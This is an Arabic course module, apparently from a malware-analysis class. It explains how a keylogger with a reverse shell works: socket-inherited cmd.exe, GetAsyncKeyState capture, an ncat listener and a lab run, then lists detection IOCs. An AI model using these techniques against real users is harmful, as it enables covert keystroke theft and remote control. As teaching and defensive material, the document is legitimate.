لماذا memset في كلّ دورة وليس مرّة واحدة قبل الحلقة؟
القسم 6القسم 6: ShellThread — CreateProcess("cmd.exe") = صدفة عكسيّة
بنيتَ الآن بنية STARTUPINFO تُوجّه stdio إلى السوكِت. لكنّ البنية وحدها لا تفعل شيئاً — إنّها ورقة تعليمات تنتظر أن تُقدَّم لعمليّة جديدة. ShellThread هو من يُقدّمها، يُطلق cmd.exe، ويُتمّ ما بدأه ConnectThread. عندما تنتهي هذه الدالّة عملها، سيكون المهاجم يجلس أمام موجّه cmd> كأنّه في الغرفة نفسها. لنقرأها.
CreateProcess من أعقد دوال Win32 في المعاملات. عشرة. لنُقدّم توقيعها الرسميّ أوّلاً لتفهم ما نُمرّره:
cpp
BOOLCreateProcess(
LPCSTR lpApplicationName, // 1. اسم البرنامج (أو NULL)LPSTR lpCommandLine, // 2. سطر الأوامر
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 3. صفات أمان العملية
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 4. صفات أمان الخيط الرئيسيBOOL bInheritHandles, // 5. هل يرث المقابض؟DWORD dwCreationFlags, // 6. رايات الإنشاءLPVOID lpEnvironment, // 7. متغيّرات البيئةLPCSTR lpCurrentDirectory, // 8. مجلد العمل
LPSTARTUPINFO lpStartupInfo, // 9. STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // 10. معلومات العملية الناتجة
);
قِيَمنا في السطر، معاملاً معاملاً:
#
قيمتنا
لماذا
1
NULL
نُمرّر الاسم عبر lpCommandLine
2
"cmd.exe"
سطر الأوامر (Windows يبحث في PATH)
3
NULL
صفات أمان افتراضية
4
NULL
نفس الشيء
5
TRUE
حرجة — تسمح بتوريث مقابض السوكِت
6
0
لا رايات خاصّة (لا CREATE_NO_WINDOW، لا DETACHED_PROCESS)
7
NULL
استعمل بيئة العملية الأمّ
8
NULL
استعمل مجلد عمل العملية الأمّ
9
&ini_processo
الحقل السحريّ الذي هيّأناه في ConnectThread
10
&processo_info
تُملأ بمقابض العملية الناتجة و ThreadID
تسعة من عشرة قِيَم إمّا NULL أو ثابت بسيط. المعامل الوحيد الذي يحمل الوزن كلّه هو الخامس: TRUE. إليك لماذا.
bInheritHandles = TRUE: الجملة التي تكلّف كلّ شيء
افتراضيّاً، كلّ مقبض تفتحه عمليّة — ملف، سوكِت، pipe، mutex — يبقى ملكاً لها. عمليّة فرعيّة لا ترى شيئاً منها. هذا سلوك حكيم؛ لا نريد أن ترث كلّ برنامج تُطلقه من explorer.exe كلّ مقبضاته.
لكن يمكن كسر هذا الحاجز. عند إنشاء المقبض، يمكن رفع راية «قابل للتوارث» — إمّا في SECURITY_ATTRIBUTES.bInheritHandle، أو لاحقاً بـ SetHandleInformation. السوكِت الذي أنشأناه في القسم 2 قابل للتوارث افتراضيّاً (لأنّنا لم نُمرّر WSA_FLAG_NO_HANDLE_INHERIT). فإذا أطلقنا عمليّة فرعيّة بـ bInheritHandles = TRUE، تُنسخ كلّ المقابض القابلة للتوارث إلى الطفلة بنفس الأرقام.
النتيجة عمليّاً: cmd.exe تحصل على نسخة من مقبض Winsock برقم مطابق. مقابض stdin/stdout/stderr التي عيّناها في STARTUPINFO تُشير إليه. تنفّذ cmd أوامرها العاديّة — لا تعرف أنّها ليست في console حقيقيّة — وكلّ ما تطبعه يُرسَل عبر السوكِت. غيّرت TRUE إلى FALSE هنا واختفى كلّ شيء: cmd تُطلق، لكنّ مقابضها stdio لا تُوصل بأيّ شيء، فتخرج فوراً بخطأ، والمهاجم لا يرى شيئاً.
for (;;) {
if (CreateProcess(...) == true) {
break;
} else {
WSAConnect(...);
CreateProcess(...); // ← مرّة ثانية، بلا break
}
}
إن نجحت CreateProcess الأولى، نخرج. حتى الآن جميل. إن فشلت، ندخل else: نُعيد الاتّصال، ثمّ نستدعي CreateProcessثانيةً بلا فحص وبلا break. ما فائدة الاستدعاء الثاني؟
نيّة المؤلّف واضحة نظريّاً: «لو فشل CreateProcess، فربّما لأنّ الاتّصال انقطع؛ أعِد الاتّصال ثمّ حاول مرّةً أخرى قبل العودة لبداية الحلقة». المشكلة أنّ الاستدعاء الثاني لا يفحص القيمة المُرجَعة ولا يخرج من الحلقة، فيعود التنفيذ إلى for(;;) من جديد. عمليّاً ينجح في النهاية لأنّ الحلقة تُعيد المحاولة، لكنّ الكود مربك عند القراءة.
كود إنتاج نظيف يكتبه هكذا:
cpp
while (true) {
if (CreateProcess(...)) break;
WSAConnect(...); // أعد الاتصالSleep(500); // مهلة قبل المحاولة
}
فرصة تحسين تركناها للطالب — راجعها في homework.md.
على جانب المهاجم: اللحظة التي يجلس فيها أمام شاشتك
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on 192.168.56.1:4444
يُشغّل الضحية keylogger_edu.exe على الـ VM. بعد ثوانٍ يظهر عند المهاجم:
text
Ncat: Connection from 192.168.56.10.
Microsoft Windows [Version 10.0.19045.4780]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Victim\Desktop>
وها هو. موجّه cmd كامل، PATH كامل، صلاحيّات كاملة للمستخدم المُصاب. whoami, dir, ipconfig — كلّها تعمل، والنتائج تعود ثانيةً.
من عيون الدفاع
محلّل SOC يراقب هذه العمليّة سيقفز مباشرةً على أربع إشارات، أيّ واحدة منها كافية لفتح تحقيق:
cmd.exe تعمل بلا نافذة console مرئيّة — نمط شاذّ يُثير أيّ EDR.
العمليّة الأمّ هي keylogger_edu.exe — اسم لا يوجد في أيّ ثنائيّ رسميّ في System32، لا في أيّ فهرس مطوّرين. عَلَم أحمر فوريّ.
Sysmon Event ID 3 (Network connection) متبوعاً بـ Event ID 1 (Process create) لـ cmd.exe بترابط زمنيّ ضيّق (ثوانٍ) — نمط سلوكيّ ترصده أدوات SIEM الحديثة.
كلّ عنصر من هذه على حِدة قد يمرّ. مجتمعةً، الطالب يُنبّه الفريق قبل أن ينتهي المهاجم من whoami.
✅ اختبر نفسك: القسم 6
لو غيّرت bInheritHandles إلى FALSE، ماذا سيكون سلوك cmd.exe الناتجة؟
لماذا لا نُمرّر اسم البرنامج في المعامل الأول ونستعمل الثاني بدل ذلك؟
ما الفرق بين dwCreationFlags = 0 و dwCreationFlags = CREATE_NO_WINDOW في هذا السياق؟
محلّل SOC يرى keylogger_edu.exe → cmd.exe → connection to :4444. اذكر ثلاث إشارات إنذار سيرفعها.
القسم 7القسم 7: GetAsyncKeyState وسرّ القيمة -32767
هذا قلب الـ keylogger. كلّ سطر آخر (الاختفاء، الشبكة، الصدفة) هو تحضير — لكن هنا نلتقط الضغطات فعليّاً. الدالّة GetAsyncKeyState تُخبرنا عن أيّ مفتاح: «هل هو مضغوط الآن؟ وهل ضُغط منذ آخر مرّة سألتك؟». الإجابة على هذين السؤالين مُرمّزة في 16 بت، والقيمة -32767 بالتحديد هي التي نبحث عنها. لماذا هذا الرقم الغريب؟ لأنّه يُترجم إلى «الاثنان معاً»، ومن دون هذا الفحص يتحوّل كلّ ضغطة إلى مئات التسجيلات. لنُفكّك المعنى بت بت.
التوقيع البسيط
cpp
SHORT GetAsyncKeyState(int vKey);
معامل واحد (رمز VK: قائمة كاملة في <winuser.h>)، وقيمة مُرجَعة SHORT بـ 16 بت. البساطة الظاهرة تُخفي عبقريّة التصميم: بتّان فقط من الـ 16 يحملان معلومات مفيدة، والباقي محجوز صفريّاً. لكنّ اختيار موقع البتّين هو الذي يجعل الفحص == -32767 يعمل.
تفكيك القيمة المُرجَعة
بت 15 (الأعلى) يقول: «مضغوط الآن» (1 = نعم، 0 = لا). بت 0 (الأقلّ) يقول: «ضُغط منذ آخر استدعاء لـ GetAsyncKeyState» (1 = نعم، 0 = لا). البقيّة صفريّة.
البتّات
ثنائيّاً
سِتّ عشريّ
قيمة SHORT
المعنى
لا شيء
0000000000000000
0x0000
0
غير مضغوط ولم يُضغط
بت 15 فقط
1000000000000000
0x8000
-32768
مضغوط الآن، لكن كان مضغوطاً منذ آخر مسح (تكرار)
بت 0 فقط
0000000000000001
0x0001
1
ليس مضغوطاً الآن، لكن ضُغط ثم أُفلت بين مسحين
كلاهما
1000000000000001
0x8001
-32767
مضغوط الآن ولأوّل مرّة ← وهذا ما نريد
الجدول أعلاه هو المرجع الكامل — احفظه أو ارجع إليه عند الحاجة. لكنّ قصّة الأرقام السالبة تستحقّ فقرة.
لماذا الأرقام السالبة أصلاً؟
SHORT في C++ مُوقَّع افتراضيّاً. عندما نضبط بت 15 (الأعلى)، فإنّ C++ يُفسّرها في two's complement على أنّها إشارة سالب. 0x8000 تُصبح -32768، و 0x8001 تُصبح -32767. لا سحر — قاعدة تمثيل الأرقام.
كودنا يستعمل == -32767 مباشرةً. الأنظف تقنيّاً هو:
cpp
if (GetAsyncKeyState(c) & 0x8001) // كلا البتّين مضبوطان
نفس النتيجة، أوضح لمن يعرف عمليّة bitwise AND. لكنّ الكود التعليميّ يُفضّل قيمة عدديّة واحدة يراها المبتدئ ويقارنها مباشرةً. أيّ الأسلوبين تختار، عليك أن تفهم لماذا -32767 هي القيمة السحريّة — والجواب في الجدول أعلاه.
لماذا فحص بت 0 حرج: كارثة hhhhh
تخيّل أنّنا اكتفينا بفحص «مضغوط الآن» (بت 15) بلا بت 0. الحلقة الخارجيّة تُعيد المسح مئات المرّات في الثانية. الضحية ضغط مفتاح h ثانيةً واحدة قبل أن يُفلته. النتيجة:
text
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
كلّ مسح يُطابق «مضغوط الآن» فيكتب h. يصير السجلّ قمامةً لا تفيد أحداً.
بت 0 يحلّ هذا. النظام يضبطه على 1مرّة واحدة — عند أوّل استدعاء يلي الضغطة. الاستدعاءات التالية (طالما المفتاح ما زال مضغوطاً) تُعيد -32768 (بت 15 وحده). شرطنا == -32767 يقبل الأوّل ويرفض الباقي. تُسجَّل الضغطة مرّةً واحدةً، كما نريد.
هذه القاعدة السلوكيّة (البت الأدنى يُصفَّر بعد أوّل قراءة) موثّقة في winuser.h. مصمّمو Win32 وضعوها هناك لأنّهم توقّعوا استعمالاً كهذا بالضبط.
عيب صغير: مفتاحان يُضغطان في نفس المسح
تخيّل أنّ الضحية ضغط H أوّلاً ثم E بعد ميكروثانية، ونحن في المسح c = 8, 9, 10, .... نصل إلى c = 69 (E) قبل c = 72 (H). نفحص E → -32767 → نكتبها. نُواصل إلى H → قد يكون النظام قد أفرغ بت 0 (لأنّه رأى الضغط قبل أن نصل إلى H) → -32768 → نتجاهلها.
نادر عمليّاً لأنّ المسح ينتهي في ميكروثوانٍ، لكنّه ممكن نظريّاً. لا يوجد إصلاح داخل نمط polling — تحتاج hook لضمان عدم فقد ضغطة، وهذا ثمن الكشف الأعلى. اختيار.
GetAsyncKeyState مقابل GetKeyState: فخّ الاسم
الاسمان متشابهان، الفرق جوهريّ. GetKeyState(vKey) يقرأ الحالة من قائمة انتظار الرسائل للخيط الحاليّ — يحتاج معالجة أحداث (event loop) لتحديث الحالة، ولا يعمل داخل خيط لا يمتلك نافذة. GetAsyncKeyState(vKey) يقرأ الحالة العالميّة الحقيقيّة من درايفر لوحة المفاتيح — مستقلّ عن أيّ نافذة، يعمل في أيّ سياق.
خيطنا log() بلا نافذة أصلاً، فلا خيار سوى GetAsyncKeyState. اسمها مضلّل قليلاً («async» توحي بأنّها لا تعطي نتيجة فوريّة)، لكنّ الاسم يعني هنا «مستقلّ عن قائمة الرسائل» لا «غير متزامن».
لماذا polling وليس hook؟
Windows يوفّر آليّتين لالتقاط لوحة المفاتيح:
الاختلاف
Polling (GetAsyncKeyState)
Hook (SetWindowsHookEx WH_KEYBOARD_LL)
آليّة العمل
نسأل النظام دوريّاً
النظام يستدعي دالتنا عند كلّ ضغطة
استهلاك CPU
مستمرّ (~2-8%)
قريب من الصفر
احتمال فقد ضغطات
موجود (نادر)
معدوم
تعقيد الكود
سطران
DLL منفصلة في معظم الحالات
سهولة الكشف
استهلاك CPU غير مبرَّر
Sysmon Event ID 22 (تسجيل hook منخفض المستوى)
اخترنا polling لأنّه أبسط تعليميّاً — سطرا كود بدل قائمة معقّدة — وأصعب كشفاً في السلوكيّات (استهلاك CPU يبدو كأيّ عمليّة مشغولة). Hooks أنظف تقنيّاً وأكثر دقّة، لكنّها أظهر كشفاً في اللوحات الحديثة (Sysmon يرصد hooks منخفضة المستوى صراحةً). كلّ اختيار له ثمن.
✅ اختبر نفسك: القسم 7
اكتب فحصاً بديلاً لـ GetAsyncKeyState(c) == -32767 باستعمال العمليّة على مستوى البتّات.
لماذا يفشل GetKeyState داخل خيط log() في كودنا؟
لو حذفنا فحص بت 0 (الأدنى)، ماذا سيحدث للسجلّ عند كتابة الضحيّة لكلمة hello؟
محلّل SOC يرى عمليّة تستهلك 5% CPU بلا سبب ظاهر، والفحص يُظهر أنّها تنادي GetAsyncKeyState مئات المرّات في الثانية. ما استنتاجه؟
القسم 8القسم 8: ثلاث مناطق ترجمة — صغير، كبير، خاصّ
عندما يتحقّق شرط -32767، ندخل في الترجمة: تحويل رمز VK إلى بايتات نصّيّة تُكتب في السجلّ.
المنطقة 1: حرف A-Z بلا Shift → صغير
cpp
if ((c > 64) && (c < 91) && !(GetAsyncKeyState(0x10))) {
c += 32;
write << c;
write.close();
break;
}
c > 64 && c < 91: رموز VK من 65 (A) إلى 90 (Z).
!(GetAsyncKeyState(0x10)): Shift ليس مضغوطاً (0x10 = VK_SHIFT).
c += 32: خدعة ASCII. الحرف A = 65، a = 97 = 65+32. جدول ASCII صُمِّم عمداً بحيث الفرق بين الحرف الكبير والصغير = 32.
write << c: يكتب البايت المُترجم.
break: يخرج من حلقة for c، فتُعاد من رمز 8.
لماذا الخدعة +32؟ لأنّ رمز VK لكلّ حروف A-Z هو نفس رمز الحرف الكبير في ASCII (65-90). Windows لا يميّز بين ضغطة A و a — نفس المفتاح، نفس الرمز. الفرق يأتي من حالة Shift. نُضيف 32 لنحصل على الصغير.
البديل C-style (fopen, fputc, fclose) يعمل نفس الشيء لكنّه أكثر إسهاباً وأخطر (لو نسيت fclose يبقى مقبض الملف مفتوحاً حتى انتهاء العمليّة).
راية الفتح ios::app
ios::app = «append». كلّ كتابة تُلحَق في نهاية الملف، حتى لو تحرّك المؤشر يدويّاً.
بدائل:
ios::out (افتراضي): يفتح للكتابة، يحذف محتوى الملف الحاليّ إن كان موجوداً.
ios::ate: يفتح ويذهب لآخر الملف مرّةً واحدةً عند الفتح. الكتابات اللاحقة قد تُعيد الكتابة فوق نفسها إن تحرّك المؤشّر.
ios::app: يذهب لآخر الملف قبل كلّ write، حتى لو تحرّك المؤشّر.
ios::binary: يفتح بوضع ثنائي (لا تحويل \n إلى \r\n على Windows).
لكودنا ios::app هو الصحيح: لا نريد فقد محتوى الجلسة السابقة، ونريد ضمان الإلحاق.
لو نسيت ios::app واستعملت الافتراضي: عند كلّ ضغطة يُعاد فتح الملف، تُمحى محتوياته، تُكتب الضغطة الحاليّة فقط. ينتهي Record.txt بحرف واحد دائماً.
لماذا الفتح والإغلاق لكلّ ضغطة؟
ofstream write(LOG_FILE, ios::app); داخل الحلقة يعني: كلّ ضغطة تفتح الملف من جديد، تكتب، تُغلقه.
الميزة: لو تعطّل النظام أو انطفأ الجهاز، لا تُفقد ضغطات (كل ضغطة على القرص فوراً).
العيب: بطيء نسبيّاً. فتح ملف ≈ 0.5-2 ms على HDD، أقلّ على SSD. لو الضحيّة يكتب بسرعة كتابة (250 حرف/دقيقة = 4 حرف/ثانية) فالتأثير غير محسوس. لكن نظريّاً محدود.
البديل الأمثل: فتح مرّة واحدة خارج الحلقة، flush() كلّ N ضغطات أو كلّ ثانية:
cpp
ofstream write(LOG_FILE, ios::app);
for (;;) {
for (c = 8; c < 222; c++) {
if (GetAsyncKeyState(c) == -32767) {
write << c;
if (--flush_counter == 0) { write.flush(); flush_counter = 100; }
}
}
}
write.close(); // لا يُنفَّذ لأنّنا لا نخرج أبداً
أسرع 10-100 مرّة.
أخطر: لو تعطّل البرنامج قبل flush، تُفقد آخر N ضغطات.
كودنا التعليميّ يختار البساطة على الأداء.
write << c; — لماذا c وليس (char)c؟
c من نوع unsigned char.
ofstream::operator<<(unsigned char) يكتب البايت كما هو (بلا تحويل).
لو كان c من نوع int لكتب النصّ العدديّ ("104" بدل الحرف 'h').
هذا فخّ كلاسيكيّ لمن يبدأ في C++: تفريق مهم بين char (يُكتب حرفاً) و int (يُكتب رقماً كنصّ).
موقع الملف
LOG_FILE "Record.txt" — مسار نسبيّ. عندما يشتغل keylogger_edu.exe، الملف يُكتب في مجلد العمل الحاليّ.
من Explorer (double-click): مجلد الـ EXE.
من cmd.exe cd C:\Temp && keylogger_edu.exe: C:\Temp\Record.txt.
من مُشغِّل خدمات: C:\Windows\System32 غالباً — لا نريد هذا.
لتوصيل الحمولة في هجوم حقيقيّ (المحاضرة 2A) يجب مسار مُطلق داخل %APPDATA%\... حتى نضمن مكان معروف.
✅ اختبر نفسك: القسم 9
ما الفرق بين ios::app و ios::ate؟
لو نسيت write.close() قبل break، ماذا يحدث في هذه الحلقة؟
لماذا write << c تكتب حرفاً وليس رقماً، بينما write << 65 تكتب «65»؟
السجلّ ينمو بمعدّل ثابت ~1 KB/دقيقة بينما الضحيّة لا يكتب. ما التفسير؟
القسم 10القسم 10: main() كاملاً — التتبّع التفاعلي
-lws2_32: يربط مكتبة Winsock (بلاها تفشل الرابطة).
-static: يضمّن كلّ المكتبات ستاتيكيّاً (لا حاجة libstdc++-6.dll على الضحيّة).
النتيجة: keylogger_edu.exe ~500 KB.
الخطوة 2: نقله للـ VM
VirtualBox Shared Folder: أنشئ مجلداً مشتركاً بين Host والـ VM.
أو Drag & Drop إن كان Guest Additions مثبّتاً.
أو scp عبر شبكة Host-Only (لو الـ VM تُشغّل OpenSSH).
الخطوة 3: تشغيل ncat على Host
قبل تشغيل الحمولة على الضحيّة، ابدأ المُنصت:
bash
ncat -lvp4444
-l: listen.
-v: verbose (يطبع الاتصال).
-p 4444: على المنفذ 4444.
سترى:
text
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
الخطوة 4: تشغيل الحمولة على الضحيّة
على الـ VM، double-click keylogger_edu.exe. لا شيء يظهر (نافذة console مخفيّة). بعد ثوانٍ ترى في Host:
text
Ncat: Connection from 192.168.56.10.
Ncat: Connection from 192.168.56.10:52310.
Microsoft Windows [Version 10.0.19045.4780]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Victim\Desktop>
أنت الآن داخل الـ VM كأنّك أمام لوحة مفاتيحها.
الخطوة 5: تجربة الالتقاط
على الـ VM: افتح Notepad، اكتب: Hello World 123.
على الـ VM: افتح مجلد keylogger_edu.exe، افتح Record.txt.
على الـ VM: Task Manager → End task → keylogger_edu.exe.
على الـ VM: احذف keylogger_edu.exe و Record.txt.
على Host: Ctrl+C لإنهاء ncat.
استعادة snapshot الـ VM النظيف لضمان بيئة نظيفة للمحاضرة القادمة.
لماذا لا يمكن نقل هذا خارج المختبر؟
لأنّ:
الحمولة تتّصل بعنوان محدّد 192.168.56.1 — لن يصل إلى الإنترنت.
شبكة Host-Only معزولة عن كلّ شيء.
لو غيّرت العنوان إلى IP إنترنت حقيقيّ، ستكون نقلت الأمر خارج ولاية المحاضرة القانونية — لا تفعل.
✅ اختبر نفسك: القسم 11
لماذا نبدأ ncat قبل تشغيل الحمولة وليس بعدها؟ (فكّر في حلقة WSAConnect والزخم).
لو نسيت -static عند البناء، ماذا يحدث عند تشغيل الـ EXE على الضحيّة؟
لماذا الـ VM تحتاج IP في مدى 192.168.56.X بالضبط؟ ماذا يحدث لو أعطيتها 10.0.0.5 يدويّاً؟
كيف تُثبت لأستاذك أنّ الحمولة عملت فعلاً بدون فتح Record.txt؟
القسم 12القسم 12: من عيون الدفاع — البصمات و IOCs
نحن بنينا. الآن نلبس قبعة الأزرق. ماذا يرى مُحلّل SOC؟
Static IOCs (الملفّ نفسه)
الحجم: ~500 KB — ملف صغير غير معتاد لـ EXE في Windows حديث (معظم البرامج > 5 MB).
بلا Signing: الملف بلا رقميّة توقيع رقميّ. Windows SmartScreen يعترض عند التنزيل الأوّل.
Imports: يستورد ws2_32.dll + user32.dll + kernel32.dll. الأخيران عاديّان، ws2_32.dll مع GetAsyncKeyState = علامة استفهام قويّة.
Strings: البحث في strings يجد Record.txt, cmd.exe, ConsoleWindowClass, IP هدف 192.168.56.1. هذه IOCs مباشرة لأيّ YARA rule.
Hash (SHA-256): عند مشاركة العيّنة، الـ hash يُنشر في VirusTotal ويُصبح مؤشراً.
Runtime IOCs (سلوك أثناء التشغيل)
Process Tree: keylogger_edu.exe → cmd.exe. cmd.exe كطفل لعمليّة اسمها غير قياسي = علامة تنبيه.
Network: اتّصال خارج على منفذ 4444. أيّ نظام كشف يعرف هذا المنفذ.
API calls: GetAsyncKeyState مئات المرّات/الثانية + FindWindowA("ConsoleWindowClass") + ShowWindow(HWND, 0) = combo واضح لـ EDR (CrowdStrike, SentinelOne, Defender for Endpoint).
File I/O: كتابة متكرّرة على Record.txt في نفس المجلد.
Sysmon Events
Event ID 1: Process create (keylogger_edu.exe, وأمّه explorer.exe).
Event ID 1: Process create (cmd.exe, وأمّه keylogger_edu.exe) ← الحلقة الحرجة.
Event ID 3: Network connection (keylogger_edu.exe → 192.168.56.1:4444).
Event ID 11: File create (Record.txt).
Event ID 13: Registry Set — لا يوجد (لأنّنا لا نُثبّت Persistence بعد).
قاعدة SIEM بسيطة: parent=keylogger_edu.exe AND child=cmd.exe AND Event_ID=1 = هجوم مؤكّد.
بنيت حمولة APT عاملة بيديك. الآن تفهم كلّ سطر فيها. المحاضرة 2A تُعلّمك كيف تصل إلى الضحيّة.
✅ اختبر نفسك: الخلاصة
لخّص وظيفة كلّ من الخيوط الثلاثة في جملة واحدة لكلّ خيط.
لماذا هذه الحمولة تحتاج «توصيلاً» (المحاضرة 2A) ولا تعمل وحدها في هجوم حقيقيّ؟
محلّل SOC يسألك: «ما أسرع طريقة لكشف هذه الحمولة بعد تنفيذها؟» ماذا تجيب؟
لو أُضطررت لشرح الفارق بين «حمولة» و «توصيل» لمدير غير تقنيّ، كيف تشرحه بجملة واحدة؟
نراك في المحاضرة 2A — Trojan Binder: إخفاء EXE داخل EXE آخر.
↑↓ تنقّل⏎ فتحEsc إغلاق
تتبُّع الكود خطوةً بخطوة
قبل أن تُنزّل — تنبيه أمن ويندوز
هذه المادة تشرح كيف تعمل البرمجيات الخبيثة، فبعض الملاحظات — خاصّة
الفصلين 2A و3 — تحوي شيفرة هجوم حقيقية لغرض
التعليم. قد يضع Microsoft Defender بعض هذه الملفات في الحجر
لأن نصّها يطابق توقيعات معروفة. هذا سلوك متوقَّع من المادة التي تدرسها،
وليس إصابة فعلية لجهازك.
الأسلم: افتح الخزنة داخل الآلة الافتراضية المعزولة
(Victim VM) المخصّصة للمعمل — التحذير هناك لا يضرّك، وهذا هو
المكان الصحيح لكلّ عمل المعمل أصلاً.
إن اضطررت للعمل على جهازك المضيف مؤقتاً وأنت واعٍ بالمخاطرة:
أضف مجلد الخزنة وحده استثناءً مؤقتاً من Windows Security
← الحماية من الفيروسات والتهديدات ← إدارة الإعدادات ← الاستثناءات ←
إضافة مجلد، ثم أزِل الاستثناء فور انتهائك.
لا تستثنِ مجلد Downloads بأكمله، ولا تُطفئ
الحماية في الوقت الفعلي، ولا تفعل هذا على جهاز فيه بيانات تهمّك. استثناء
مجلد يعني أن ويندوز لن يفحص ما بداخله — سيف ذو حدّين.